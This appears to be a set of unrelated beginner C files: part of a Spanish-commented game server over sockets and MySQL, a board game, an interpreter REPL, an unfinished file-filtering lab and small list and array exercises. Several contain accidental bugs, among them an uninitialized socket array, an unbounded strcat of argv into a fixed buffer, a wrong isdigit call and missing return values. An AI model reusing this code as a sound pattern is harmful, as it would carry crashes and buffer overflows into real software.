else if((dia<10)&&(mes>=10))
sprintf(fechamax,"0%d/%d/%d",dia,mes,ano);
else if((dia>=10)&&(mes<10))
sprintf(fechamax,"%d/0%d/%d",dia,mes,ano);
else
sprintf(fechamax,"%d/%d/%d",dia,mes,ano);
DamePartidasFecha(conn,fechamin,fechamax,nform,buff2);
write(sock_conn,buff2,strlen(buff2));
}
else if(codigo==15)
//jugador abandona la partida
{
p = strtok( NULL, "/");
int id=atoi(p);
int sockets_partida[MAX_jugadores];
int num=0;
pthread_mutex_lock(&mutex);
for (int j =0; j<listaPartidas.num;j++)
{
if(listaPartidas.partida[j].partida==id)
{
for(int m=0;m<listaPartidas.partida[j].num_jugadores;m++)
{
if(strcmp(listaPartidas.partida[j].jugadores[m].jugador,nombre)==0)
listaPartidas.partida[j].jugadores[m].fallo=1;
}
listaPartidas.partida[j].fallos++;
if(listaPartidas.partida[j].fallos==listaPartidas.partida[j].num_jugadores-1)
sprintf(buff2,"12/%d/4",id);
else
sprintf(buff2,"15/%d/%s",id,nombre);
for(int n=0;n<listaPartidas.partida[j].num_jugadores;n++)
if(listaPartidas.partida[j].jugadores[n].fallo==0)
write (sockets_partida[j],buff2, strlen(buff2));
}
}
pthread_mutex_unlock(&mutex);
printf ("Se ha enviado el mensaje: %s\n", buff2);
strcpy(buff2,"");
}
else if (codigo==16)
//Darse de baja
{
p = strtok( NULL, "/");
strcpy (nombre, p);
p = strtok( NULL, "/");
strcpy (contrasena, p);
DarBaja(nombre,contrasena,conn,buff2);
write(sock_conn,buff2,strlen(buff2));
}
}
pthread_mutex_lock(&mutex); //no me interrumpas ahora
//eliminamos al usuario de la lista de conectados
int eliminar= EliminarConectados (&listaConectados, nombre);
EliminarSocket(sockets,sock_conn);
pthread_mutex_unlock(&mutex); //ya puedes interrumpirme
if (eliminar==0)
printf("Se ha eliminado a %s de la lista de conectados",nombre);
else
printf("Error al eliminar a %s de la lista de conectados",nombre);
//Envia la lista de conectados actualizada a todos los usuarios
char conectados[512];
Dameconectados (&listaConectados, conectados);
sprintf(notificacion,"6/%s",conectados);
printf ("Se ha enviado la notificacion: %s\n", notificacion);
//notificar a todos los clientes conectados
for(int j =0; j<num_sockets;j++)
{
write(sockets[j],notificacion,strlen(notificacion));
}
strcpy(notificacion,"");
//Desconectamos al usuario del servidor
strcpy(buff2,"");
close(sock_conn);
mysql_close(conn);
}
int main(int argc, char *argv[])
{
listaConectados.num=0;
int sock_conn, sock_listen, ret;
struct sockaddr_in serv_adr;
// INICIALITZACIONS
// Obrim el socket
if ((sock_listen = socket(AF_INET, SOCK_STREAM, 0)) < 0)
printf("Error creant socket");
// Fem el bind al port
memset(&serv_adr, 0, sizeof(serv_adr));// inicialitza a zero serv_addr
serv_adr.sin_family = AF_INET;
// asocia el socket a cualquiera de las IP de la m?quina.
//htonl formatea el numero que recibe al formato necesario
serv_adr.sin_addr.s_addr = htonl(INADDR_ANY);
// escucharemos en el port
serv_adr.sin_port = htons(port);
if (bind(sock_listen, (struct sockaddr *) &serv_adr, sizeof(serv_adr)) < 0)
printf ("Error al bind");
//La cola de peticiones pendientes no podr? ser superior a 4
if (listen(sock_listen, 2) < 0)
printf("Error en el Listen");
pthread_t thread[100];
num_sockets=0;
id_invitaciones=0;
for(;;)
{ //bucle infinito
printf ("Escuchando\n");
sock_conn = accept(sock_listen, NULL, NULL);
printf ("He recibido conexion\n");
//sock_conn es el socket que usaremos para este cliente
//Bucle de atencin al cliente
// Se acabo el servicio para este cliente
sockets[num_sockets] =sock_conn;
//sock_conn es el socket que usaremos para este cliente
// Crear thead y decirle lo que tiene que hacer
pthread_create (&thread[num_sockets], NULL, AtenderCliente,&sockets[num_sockets]);
num_sockets++;
}
exit(0);
}
|
C
|
#include "game_init.h"
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void printLine();
/*
* Returns the first letter associated with the color of the token
*
* Input: t - pointer to a token
* Output: initial of the color of the token
*/
char print_token(token *t){
if((*t).col== PINK) return 'P';
if((*t).col== RED) return 'R';
if((*t).col== BLU) return 'B';
if((*t).col== GREEN) return 'G';
if((*t).col== ORANGE) return 'O';
if((*t).col== YELLOW) return 'Y';
return '\0';
}
/*
* Prints the board
*
* Input: the board to be printed.
*/
void print_board(square board[NUM_ROWS][NUM_COLUMNS]){
printf(" THE BOARD\n");
for(int i =0; i < NUM_ROWS; i++){
//prints an horizontal line
printLine();
//prints the row number
printf(" %d ", i);
char c = '\0' ;
//if the square (i,j) is occupied,
//c is assigned the initial of the color of the token that occupies the square
for (int j = 0; j < NUM_COLUMNS; j++){
if(board[i][j].stack != NULL){
c = print_token(board[i][j].stack);
}
//if the square (i,j) is empty
else{
//c is assigned 'X' if the square represents an obstacle
if(board[i][j].type == OBSTACLE)
c = 'X';
//c is assigned an empty space otherwise
else c = ' ';
}
printf("| %c ", c);
}
printf ("|\n");
}
printLine();
//prints the number of the columns at the end of the board
printf(" 0 1 2 3 4 5 6 7 8\n");
}
void printLine(){
printf(" -------------------------------------\n");
}
/*
* Place tokens in the first column of the board
*
* Input: board - a 6x9 array of squares that represents the board
* players - the array of the players
* numPlayers - the number of players
*/
void place_tokens(square board[NUM_ROWS][NUM_COLUMNS], player players[], int numPlayers){
// the min number of tokens placed on a square in the first column of the board
int minNumOfTokens = 0;
int selectedSquare = 0;
for(int i=0;i<4;i++)
{
for (int j=0;j<numPlayers;j++)
{
// ask for user-input for which square to place his/her token(s)
printf("\n%s, please select a square\n-> ", players[j].name);
scanf("%d", &selectedSquare);
// if user-input is not between the table row size (0 to 5).
while (selectedSquare > 5 || selectedSquare < 0)
{
printf("\nERROR! Must be between 0 and 5.\nPlayer %d please select another square\n-> ", j+1);
scanf("%d", &selectedSquare);
}
// loop: if a square is not equal to the minimum number of tokens
while (board[selectedSquare][0].numTokens != 0 &&
board[selectedSquare][0].numTokens != minNumOfTokens)
{
printf("\nERROR! This square currently exceeds the minimum amount of tokens.\nPlayer %d please select another square\n-> ", j+1);
scanf("%d", &selectedSquare);
}
// loop: a player cannot stack his/her token on top of each other
while (board[selectedSquare][0].numTokens != 0 && players[j].col == board[selectedSquare][0].stack->col && board[selectedSquare][0].numTokens == minNumOfTokens)
{
printf("\nERROR! You cannot stack a token on top of yours.\nPlayer %d please select another square\n-> ", j+1);
scanf("%d", &selectedSquare);
}
// if there is more than 1 token in a square, it stacks.
board[selectedSquare][0].curr = board[selectedSquare][0].stack;
board[selectedSquare][0].stack = (token*)malloc(sizeof(token));
board[selectedSquare][0].stack->col = players[j].col;
board[selectedSquare][0].stack->nextPtr = board[selectedSquare][0].curr;
// updates the number of tokens in the selected square
board[selectedSquare][0].numTokens++;
// updates the minimum number of tokens
if(((numPlayers*i)+j+1)%NUM_ROWS==0)
minNumOfTokens++;
// display the game table with current updates.
print_board(board);
}
}
}
/*
* Place tokens in the first column of the board
*
* Input: board - a 6x9 array of squares that represents the board
* players - the array of the players
* numPlayers - the number of players
*/
void play_game(square board[NUM_ROWS][NUM_COLUMNS], player players[], int numPlayers){
// setting up of variables
srand(time(0));
int col, row;
int dice;
int move;
int x = 0;
int bfield, bfield2, bfield3, bfield4, bfield5, bfield6;
// the game begins
printf("\n! THE GAME HAS COMMENCED !\n");
for(int i=0;i<TURNS;i++)
{
for(int j=0;j<numPlayers;j++)
{
// each run, the value of the dice is randomized between 0 and 5.
dice = rand() % 6;
// print to display to users that an obstacle square is active.
if (board[0][3].stack > 0)
{
printf("\nObstacle (0,3) is active.\n");
bfield = 1; // bfield is set to 0 to indicate that this specific square is active.
}
if (board[1][6].stack > 0)
{
printf("\nObstacle (1,6) is active.\n");
bfield2 = 1;
}
if (board[2][4].stack > 0)
{
printf("\nObstacle (2,4) is active.\n");
bfield3 = 1;
}
if (board[3][5].stack > 0)
{
printf("\nObstacle (3,5) is active.\n");
bfield4 = 1;
}
if (board[4][2].stack > 0)
{
printf("\nObstacle (4,2) is active.\n");
bfield5 = 1;
}
if (board[5][7].stack > 0)
{
printf("\nObstacle (5,7) is active.\n");
bfield6 = 1;
}
// displaying of active obstacle ends here
/* 1. THE DICE (the dice is rolled automatically each there is a new turn)*/
printf("\n\n --- ( NEW TURN ) --- \n\n");
printf("It is %s's turn.\n", players[j].name);
printf("\n%s rolls the dice: %d\n", players[j].name, dice);
/*2. THE SIDESTEP (a player chooses a token of his/hers and can choose to sidestep it or not)*/
printf("\nSelect one of your tokens e.g. (8,5)\n-> ");
scanf("%d,%d", &row, &col);
// if the square is empty, ask for user input again.
while (board[row][col].stack == NULL)
{
printf("\nERROR! This square is empty.\nIf there are no tokens in available input 9,9 to end-turn.\n-> ");
scanf("%d,%d", &row, &col);
}
// if the player's color does not match the top token from user inputted (row,col), ask for user input again
while (board[row][col].stack->col != players[j].col)
{
printf("\nERROR! The top token in (%d,%d) is not your piece.\n-> ", row,col);
scanf("%d,%d", &row, &col);
}
// if player tries to pick a specific square that is currently set as an "OBSTACLE", ask for user input again
while (row == 0 && col == 3 && bfield == 1)
{
printf("\nOBSTACLE! This square 0,3 is currently locked\nIf there are no tokens in available input 9,9 to end-turn.\n-> ");
scanf("%d,%d", &row, &col);
if (row == 9 && col == 9)
break;
}
while (row == 1 && col == 6 && bfield2 == 1)
{
printf("\nOBSTACLE! This square 1,6 is currently locked\nIf there are no tokens in available input 9,9 to end-turn.\n-> ");
scanf("%d,%d", &row, &col);
if (row == 9 && col == 9)
break;
}
while (row == 2 && col == 4 && bfield3 == 1)
{
printf("\nOBSTACLE! This square 2,4 is currently locked\nIf there are no tokens in available input 9,9 to end-turn.e\n-> ");
scanf("%d,%d", &row, &col);
if (row == 9 && col == 9)
break;
}
while (row == 3 && col == 5 && bfield4 == 1)
{
printf("\nOBSTACLE! This square 3,5 is currently locked\nIf there are no tokens in available input 9,9 to end-turn.\n-> ");
scanf("%d,%d", &row, &col);
if (row == 9 && col == 9)
break;
}
while (row == 4 && col == 2 && bfield5 == 1)
{
printf("\nOBSTACLE! This square 4,2 is currently locked\nIf there are no tokens in available input 9,9 to end-turn.\n-> ");
scanf("%d,%d", &row, &col);
if (row == 9 && col == 9)
break;
}
while (row == 5 && col == 7 && bfield6 == 1)
{
printf("\nOBSTACLE! This square 5,7 is currently locked\nIf there are no tokens in available input 9,9 to end-turn.\n-> ");
scanf("%d,%d", &row, &col);
if (row == 9 && col == 9)
break;
}
// end of specific obstacle square user-input.
// user-input: if user wants to sidepiece his/her piece up or down or not at all
printf("\n1 -> Move Up\n2 -> Move Down\n3 -> Skip Sidestep\n\n-> ");
scanf("%d", &move);
// if the user-input value is not 1, 2 or 3
while (move != 1 && move != 2 && move != 3)
{
printf("\nERROR! Incorrect Input.");
printf("\n1 -> Move Up\n2 -> Move Down\n3 -> Skip Sidestep\n\n-> ");
scanf("%d", &move);
}
// creates a new token for the upper row
if(move == 1)
{
// if the user-inputted row is not between the values of 0 to 5 (the row size of the game table)
if(row-1 < 1)
{
printf("\nMove incomplete, inputted row goes beyond the table size of 0 to 5\n\n");
}
// if the user-input meets the right requirements
else
{
// using linked lists
board[row-1][col].curr = board[row-1][col].stack;
board[row-1][col].stack = (token*)malloc(sizeof(token));
board[row-1][col].stack->col = board[row][col].stack->col;
board[row-1][col].stack->nextPtr = board[row-1][col].curr;
// the square that the token: the top value is 'popped' and replaced by the token below it
board[row][col].curr = board[row][col].stack;
if(board[row][col].curr != NULL)
{
board[row][col].stack = board[row][col].curr->nextPtr;
free(board[row][col].curr);
}
}
}
// creates a new token for the lower row
if (move == 2)
{
if (row+1 > NUM_ROWS)
{
printf("\nMove incomplete, inputted row goes beyond the table size of 0 to 8\n\n");
}
else
{
board[row+1][col].curr = board[row+1][col].stack;
board[row+1][col].stack = (token*)malloc(sizeof(token));
board[row+1][col].stack->col = board[row][col].stack->col;
board[row+1][col].stack->nextPtr = board[row+1][col].curr;
// the square that the token: the top value is 'popped' and replaced by the token below it
board[row][col].curr = board[row][col].stack;
if(board[row][col].curr != NULL)
{
board[row][col].stack = board[row][col].curr->nextPtr;
free(board[row][col].curr);
}
}
}
// if the user does not wish to move his piece
if (move == 3)
{
printf("\nSidestep skipped\n");
}
// display the game table with current updates.
print_board(board);
/*3. TOKEN MOVEMENT (a token based on the number row that the dice lands on moves 1 column to the right)*/
printf("\nPick token from row %d to move e.g. (%d,3)\nIf there are no tokens from this row to move, input 9,9 to end-turn.\n-> ", dice, dice);
scanf("%d,%d", &row, &col);
// in case of emergency, end player J's move.
if (row == 9 && col == 9)
break;
// OBSTACLE: when a player tries to move a token from an active obstacle square
if (bfield == 1)
{
// if the requirements are met for an obstacle square to deactivate, their type is set to normal and tokens in that square can now move forward.
if (board[0][0].stack == NULL && board[0][1].stack == NULL && board[0][2].stack == NULL &&
board[1][0].stack == NULL && board[1][1].stack == NULL && board[1][2].stack == NULL &&
board[2][0].stack == NULL && board[2][1].stack == NULL && board[2][2].stack == NULL &&
board[3][0].stack == NULL && board[3][1].stack == NULL && board[3][2].stack == NULL &&
board[4][0].stack == NULL && board[4][1].stack == NULL && board[4][2].stack == NULL &&
board[5][0].stack == NULL && board[5][1].stack == NULL && board[5][2].stack == NULL)
{
printf("\nObstacle (0,3) has been deactivated\n-> ");
board[0][3].type = NORMAL; // sets the board type from OBSTACLE to NORMAL
bfield = 0; // sets the obstacle indicator to 0 which will render some loops useless.
}
while (row == 0 && col == 3 && bfield == 1)
{
printf("\nOBSTACLE ACTIVE: You cannot move this token until all squares prior to this column are empty."
"\nIf there are no other tokens outside of the obstacle, input 0,9 to end turn.\n-> ");
scanf("%d,%d", &row, &col);
if (row == 0 && col == 9)
break;
// if the user-inputted row is not equal to the value the dice lands on, as for user input again.
while (row != dice)
{
printf("\nERROR! Input piece is not from the rolled row.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 0 && col == 9)
break;
}
// if the the user tries to move an empty square, ask for user input again.
while (board[row][col].stack == NULL)
{
printf("\nERROR! This square is empty.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 0 && col == 9)
break;
}
}
}
// obstacle in (1,6)
if (bfield2 == 1)
{
if (board[0][0].stack == NULL && board[0][1].stack == NULL && board[0][2].stack == NULL && board[0][3].stack == NULL && board[0][4].stack == NULL && board[0][5].stack == NULL &&
board[1][0].stack == NULL && board[1][1].stack == NULL && board[1][2].stack == NULL && board[1][3].stack == NULL && board[1][4].stack == NULL && board[1][5].stack == NULL &&
board[2][0].stack == NULL && board[2][1].stack == NULL && board[2][2].stack == NULL && board[2][3].stack == NULL && board[2][4].stack == NULL && board[2][5].stack == NULL &&
board[3][0].stack == NULL && board[3][1].stack == NULL && board[3][2].stack == NULL && board[3][3].stack == NULL && board[3][4].stack == NULL && board[3][5].stack == NULL &&
board[4][0].stack == NULL && board[4][1].stack == NULL && board[4][2].stack == NULL && board[4][3].stack == NULL && board[4][4].stack == NULL && board[4][5].stack == NULL &&
board[5][0].stack == NULL && board[5][1].stack == NULL && board[5][2].stack == NULL && board[5][3].stack == NULL && board[5][4].stack == NULL && board[5][5].stack == NULL)
{
printf("\nObstacle (1,6) has been deactivated\n-> ");
board[1][6].type = NORMAL;
bfield2 = 0;
}
while (row == 1 && col == 6 && bfield2 == 1)
{
printf("\nOBSTACLE ACTIVE: You cannot move this token until all squares prior to this column are empty."
"\nIf there are no other tokens outside of the obstacle, input 1,9 to end turn.\n-> ");
scanf("%d,%d", &row, &col);
if (row == 1 && col == 9)
break;
// if the user-inputted row is not equal to the value the dice lands on, as for user input again.
while (row != dice)
{
printf("\nERROR! Input piece is not from the rolled row.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 1 && col == 9)
break;
}
// if the the user tries to move an empty square, ask for user input again.
while (board[row][col].stack == NULL)
{
printf("\nERROR! This square is empty.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 1 && col == 9)
break;
}
}
}
// obstacle in (2,4)
if (bfield3 == 1)
{
if (board[0][0].stack == NULL && board[0][1].stack == NULL && board[0][2].stack == NULL && board[0][3].stack == NULL &&
board[1][0].stack == NULL && board[1][1].stack == NULL && board[1][2].stack == NULL && board[1][3].stack == NULL &&
board[2][0].stack == NULL && board[2][1].stack == NULL && board[2][2].stack == NULL && board[2][3].stack == NULL &&
board[3][0].stack == NULL && board[3][1].stack == NULL && board[3][2].stack == NULL && board[3][3].stack == NULL &&
board[4][0].stack == NULL && board[4][1].stack == NULL && board[4][2].stack == NULL && board[4][3].stack == NULL &&
board[5][0].stack == NULL && board[5][1].stack == NULL && board[5][2].stack == NULL && board[5][3].stack == NULL)
{
printf("\nObstacle (2,4) has been deactivated\n-> ");
board[2][4].type = NORMAL;
bfield3 = 0;
}
while (row == 2 && col == 4 && bfield3 == 1)
{
printf("\nOBSTACLE ACTIVE: You cannot move this token until all squares prior to this column are empty."
"\nIf there are no other tokens outside of the obstacle, input 2,9 to end turn.\n-> ");
scanf("%d,%d", &row, &col);
if (row == 2 && col == 9)
break;
// if the user-inputted row is not equal to the value the dice lands on, as for user input again.
while (row != dice)
{
printf("\nERROR! Input piece is not from the rolled row.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 2 && col == 9)
break;
}
// if the the user tries to move an empty square, ask for user input again.
while (board[row][col].stack == NULL)
{
printf("\nERROR! This square is empty.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 2 && col == 9)
break;
}
}
}
// obstacle in (3,5)
if (bfield4 == 1)
{
if (board[0][0].stack == NULL && board[0][1].stack == NULL && board[0][2].stack == NULL && board[0][3].stack == NULL && board[0][4].stack == NULL &&
board[1][0].stack == NULL && board[1][1].stack == NULL && board[1][2].stack == NULL && board[1][3].stack == NULL && board[1][4].stack == NULL &&
board[2][0].stack == NULL && board[2][1].stack == NULL && board[2][2].stack == NULL && board[2][3].stack == NULL && board[2][4].stack == NULL &&
board[3][0].stack == NULL && board[3][1].stack == NULL && board[3][2].stack == NULL && board[3][3].stack == NULL && board[3][4].stack == NULL &&
board[4][0].stack == NULL && board[4][1].stack == NULL && board[4][2].stack == NULL && board[4][3].stack == NULL && board[4][4].stack == NULL &&
board[5][0].stack == NULL && board[5][1].stack == NULL && board[5][2].stack == NULL && board[5][3].stack == NULL && board[5][4].stack == NULL)
{
printf("\nObstacle (3,5) has been deactivated\n-> ");
board[3][5].type = NORMAL;
bfield4 = 0;
}
while (row == 3 && col == 5 && bfield4 == 1)
{
printf("\nOBSTACLE ACTIVE: You cannot move this token until all squares prior to this column are empty."
"\nIf there are no other tokens outside of the obstacle, input 3,9 to end turn.\n-> ");
scanf("%d,%d", &row, &col);
if (row == 3 && col == 9)
break;
// if the user-inputted row is not equal to the value the dice lands on, as for user input again.
while (row != dice)
{
printf("\nERROR! Input piece is not from the rolled row.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 3 && col == 9)
break;
}
// if the the user tries to move an empty square, ask for user input again.
while (board[row][col].stack == NULL)
{
printf("\nERROR! This square is empty.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 3 && col == 9)
break;
}
}
}
// obstacle in (4,2)
if (bfield5 == 1)
{
if (board[0][0].stack == NULL && board[0][1].stack == NULL &&
board[1][0].stack == NULL && board[1][1].stack == NULL &&
board[2][0].stack == NULL && board[2][1].stack == NULL &&
board[3][0].stack == NULL && board[3][1].stack == NULL &&
board[4][0].stack == NULL && board[4][1].stack == NULL &&
board[5][0].stack == NULL && board[5][1].stack == NULL)
{
printf("\nObstacle (4,2) has been deactivated\n-> ");
board[4][2].type = NORMAL;
bfield5 = 0;
}
while (row == 4 && col == 2 && bfield5 == 1)
{
printf("\nOBSTACLE ACTIVE: You cannot move this token until all squares prior to this column are empty."
"\nIf there are no other tokens outside of the obstacle, input 4,9 to end turn.\n-> ");
scanf("%d,%d", &row, &col);
if (row == 4 && col == 9)
break;
// if the user-inputted row is not equal to the value the dice lands on, as for user input again.
while (row != dice)
{
printf("\nERROR! Input piece is not from the rolled row.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 4 && col == 9)
break;
}
// if the the user tries to move an empty square, ask for user input again.
while (board[row][col].stack == NULL)
{
printf("\nERROR! This square is empty.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 4 && col == 9)
break;
}
}
}
// obstacle in (5,7)
if (bfield6 == 1)
{
if (board[0][0].stack == NULL && board[0][1].stack == NULL && board[0][2].stack == NULL && board[0][3].stack == NULL && board[0][4].stack == NULL && board[0][5].stack == NULL && board[0][6].stack == NULL &&
board[1][0].stack == NULL && board[1][1].stack == NULL && board[1][2].stack == NULL && board[1][3].stack == NULL && board[1][4].stack == NULL && board[1][5].stack == NULL && board[1][6].stack == NULL &&
board[2][0].stack == NULL && board[2][1].stack == NULL && board[2][2].stack == NULL && board[2][3].stack == NULL && board[2][4].stack == NULL && board[2][5].stack == NULL && board[2][6].stack == NULL &&
board[3][0].stack == NULL && board[3][1].stack == NULL && board[3][2].stack == NULL && board[3][3].stack == NULL && board[3][4].stack == NULL && board[3][5].stack == NULL && board[3][6].stack == NULL &&
board[4][0].stack == NULL && board[4][1].stack == NULL && board[4][2].stack == NULL && board[4][3].stack == NULL && board[4][4].stack == NULL && board[4][5].stack == NULL && board[4][6].stack == NULL &&
board[5][0].stack == NULL && board[5][1].stack == NULL && board[5][2].stack == NULL && board[5][3].stack == NULL && board[5][4].stack == NULL && board[5][5].stack == NULL && board[5][6].stack == NULL)
{
printf("\nObstacle (5,7) has been deactivated\n-> ");
board[5][7].type = NORMAL;
bfield6 = 0;
}
while (row == 5 && col == 7 && bfield6 == 1)
{
printf("\nOBSTACLE ACTIVE: You cannot move this token until all squares prior to this column are empty."
"\nIf there are no other tokens outside of the obstacle, input 5,9 to end turn.\n-> ");
scanf("%d,%d", &row, &col);
if (row == 5 && col == 9)
break;
// if the user-inputted row is not equal to the value the dice lands on, as for user input again.
while (row != dice)
{
printf("\nERROR! Input piece is not from the rolled row.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 5 && col == 9)
break;
}
// if the the user tries to move an empty square, ask for user input again.
while (board[row][col].stack == NULL)
{
printf("\nERROR! This square is empty.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 5 && col == 9)
break;
}
}
}
// if the user-inputted row is not equal to the value the dice lands on, as for user input again.
while (row != dice)
{
printf("\nERROR! Input piece is not from the rolled row.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 9 && col == 9)
break;
}
// if the the user tries to move an empty square, ask for user input again.
while (board[row][col].stack == NULL)
{
printf("\nERROR! This square is empty.\nTry again\n-> ");
scanf("%d,%d", &row, &col);
if (row == 9 && col == 9)
break;
}
// a 'new' token is made in the next column based on the token behind it.
board[row][col+1].curr = board[row][col+1].stack;
board[row][col+1].stack = (token*)malloc(sizeof(token));
board[row][col+1].stack->col = board[row][col].stack->col;
board[row][col+1].stack->nextPtr = board[row][col+1].curr;
// the top token is removed and replaced by the previous token before it in the old column.
board[row][col].curr = board[row][col].stack;
if(board[row][col].curr != NULL)
{
board[row][col].stack = board[row][col].curr->nextPtr;
free(board[row][col].curr);
}
/* END-GAME */
if (board[row][8].stack != NULL)
{
// checks if the player moving the token is the owner or not
while (j < numPlayers)
{
// if the player owns the token that recently reached the end-line
if (players[j].col == board[row][8].stack->col)
{
// the number of tokens in the last-col increases
players[j].numTokensLastCol++;
break;
}
// if player does not own the token, it will loop through the colors of each player
else
j++;
}
// the first player that has 3 tokens go to the end-line wins the session & the program exits.
if (players[j].numTokensLastCol == 3)
{
printf("\n\nGAME OVER: %s WINS! \n\n", players[j].name);
exit(0);
}
}
print_board(board);
}
}
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "Interpreter/Interpreter.h"
#include "Parser/Parser.h"
#include "Tokenizer/Value.h"
#include "Util/StringBuffer.h"
void load_libraries (Environment* environment, int argc, char** argv);
int main (int argc, char** argv)
{
char c = 7;
StringBuffer* buf = strbuf_create();
Quack* parens = quack_create();
Quack* tokens = quack_create();
Quack* expressions = quack_create();
Environment* environment = environment_create_default();
load_libraries(environment, argc, argv);
if (isatty(0)) { printf("Welcome to The Inderpreter. Press ^D to exit.\n>>> "); }
while (c != 0 && c != EOF)
{
// Check for line end
c = getchar();
strbuf_append(buf, c);
if (c != '\n' && c != EOF) { continue; }
// Parse line
if (!parse_partial(strbuf_data(buf), parens, tokens, expressions))
{
printf("Syntax Error\n");
if (isatty(0)) { printf(">>> "); }
strbuf_clear(buf);
continue;
}
strbuf_clear(buf);
// Evaluate and print each expression
while (!quack_empty(expressions))
{
ParseTree* expression = quack_pop_front(expressions);
Value* value = evaluate(expression, environment);
if (value == NULL) { printf("Runtime Error\n"); continue; }
if (value->type != NULL_VALUE) { value_print(value); printf("\n"); }
value_release(value);
parsetree_release(expression);
}
if (isatty(0) && c != EOF)
{
if (quack_empty(parens)) { printf(">>> "); }
else { printf("... "); }
}
}
if (isatty(0)) { printf("\n"); }
// Make sure file input didn't end mid-expression
if (!isatty(0) && !quack_empty(parens)) { printf("Syntax Error\n"); }
strbuf_free(buf);
quack_free(parens);
quack_free(tokens);
quack_free(expressions);
environment_release(environment);
return 0;
}
void load_libraries (Environment* environment, int argc, char** argv)
{
for (int i = 1; i < argc; ++i)
{
if (!load_file(environment, argv[i]))
{
printf("Error loading library %s\n", argv[i]);
}
}
}
|
C
|
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
/*
./lab4 file path
make a new file in the given path that contains only even nr
*/
int main(int argc, char *argv[]){
if(argc < 3){
const char msg[] = "Eroare argumente\n";
write(STDERR_FILENO, msg, sizeof(msg));
return 1;
}else{
int input = open(argv[1], O_RDONLY);
if(input == -1){
const char msg[] = "Eroare deschidere fisier\n";
write(STDERR_FILENO, msg, sizeof(msg));
return 1;
}
char file_dir[125] = "";
strcat(file_dir, argv[2]);
strcat(file_dir, "/");
strcat(file_dir, argv[1]);
int file = open(file_dir, O_RDONLY | O_WRONLY | O_CREAT | O_TRUNC);
if(file == -1){
const char msg[] = "Eroare creare fisier\n";
write(STDERR_FILENO, msg, sizeof(msg));
return 1;
}
char *buffer = malloc(sizeof(char));
int read_return;
while((read_return = read(input, buffer, 1)) != 0){
if(read_return == -1){
const char msg[] = "Eroare citire din fisier\n";
write(STDERR_FILENO, msg, sizeof(msg));
}
if(isdigit(buffer)) //???
;
}
}
/*
unlink("./link1")
symlink(path, "./link1)
stat/fstat/lstat
struct stat buf
if(lstat("./link1", &buf) < 0)
buf.st_size
*/
return 0;
}
|
C
|
#include "holberton.h"
/**
* print_line - prints the numbers, from 0 to 9
* @n: is value of a number
* Return: void
*/
void print_line(int n)
{
if (n <= 0)
{
_putchar('\n');
}
else
{
int i;
for (i = 1; i <= n; i++)
{
_putchar('_');
}
_putchar('\n');
}
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
struct node
{
int data;
struct node *nxt;
};
struct node *head;
void display()
{
struct node * current;
current = head;
while(current->nxt != NULL)
{
printf("%d-->",current->data);
current = current->nxt;
}
printf("%d\n",current->data);
}
struct node *create_newnode(int d)
{
struct node *temp;
temp = (struct node *)malloc(sizeof(struct node));
temp->data = d;
temp->nxt = NULL;
return temp;
}
void stack_push(struct node *newnode)
{
if(head == NULL)
{
head = newnode;
}
else
{
struct node * current;
current = head;
while(current->nxt != NULL)
{
current = current->nxt;
}
current->nxt = newnode;
}
//display();
}
int has_cycle()
{
struct node *fast, *slow;
fast = head;
slow = head;
slow = slow->nxt;
fast = fast->nxt->nxt;
while(slow!= fast && slow->nxt != NULL && fast->nxt!= NULL)
{
slow = slow->nxt;
fast = fast->nxt->nxt;
}
if(slow == fast )
{
return 1;
}
else
{
return 0;
}
}
void main()
{
int n,d,str_size,res;
//char str[50];
head = NULL;
printf("ente no.of nodes :");
scanf("%d",&n);
//fgets(str,50,stdin);
//str_size = strlen(str);
//sprintf("str_size = %d\n",str_size );
for(int i=0; i<n; i++)
{
//printf("%c ",str[i]);
printf("enter the data: ");
scanf("%d",&d);
stack_push(create_newnode(d));
}
display();
res = has_cycle();
if(res == 1)
{
printf("it is cycle\n");
}
else
{
printf("NOt cycles\n" );
}
}
|
C
|
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
double arr_test(double arr1[],double arr2[],int N){
for(int i=0;i<N;i++){
arr2[i] = arr1[i]*2+0.01;
}
}
double make_arr(double arr1[],double arr2[]){
double a[16][16];
for(int i=0;i<10;i++){
for(int j=0;j<10;j++){
a[i][j] = 20.0*(double)i + (double)j + 0.101;
}
}
for(int k=0;k<10;k++){
arr2[k] = a[k][1];
}
}
//nが2の累乗かどうかを確認する
//nが2の累乗でなければそれを2の累乗に切り上げた数値を返す
int isPowerOfTwo(int n) {
int pow = 2;
if ((n & (n - 1)) == 0){
return 1;
}else{
while(n > pow){
pow *= 2;
}
return pow;
}
}
int padding_arr(double *arr, int n1, int n2){
for(int i=n1;i<n2;i++){
arr[i] = 0.0;
}
}
int fft(int n, int flg, double *ar, double *ai)
{
int padding_n = isPowerOfTwo(n);
padding_arr(ar,n, padding_n);
}
int main(void) {
int n1 = 16;
int n2 = 30;
printf("isPowerOfTwo(%d) == %d\n",n1,isPowerOfTwo(n1));
printf("isPowerOfTwo(%d) == %d\n",n2,isPowerOfTwo(n2));
double arr1[64],arr2[64];
// double a[16][16];
for(int i=0;i<30;i++){
arr1[i] = i;
}
fft(n2,1,arr1,arr2);
// arr_test(arr1,arr2,16);
for(int i=0;i<36;i++){
printf("arr1[%d] = %lf, arr2[%d] = %lf\n",i,arr1[i],i,arr2[i]);
}
// for(int i=0;i<10;i++){
// for(int j=0;j<10;j++){
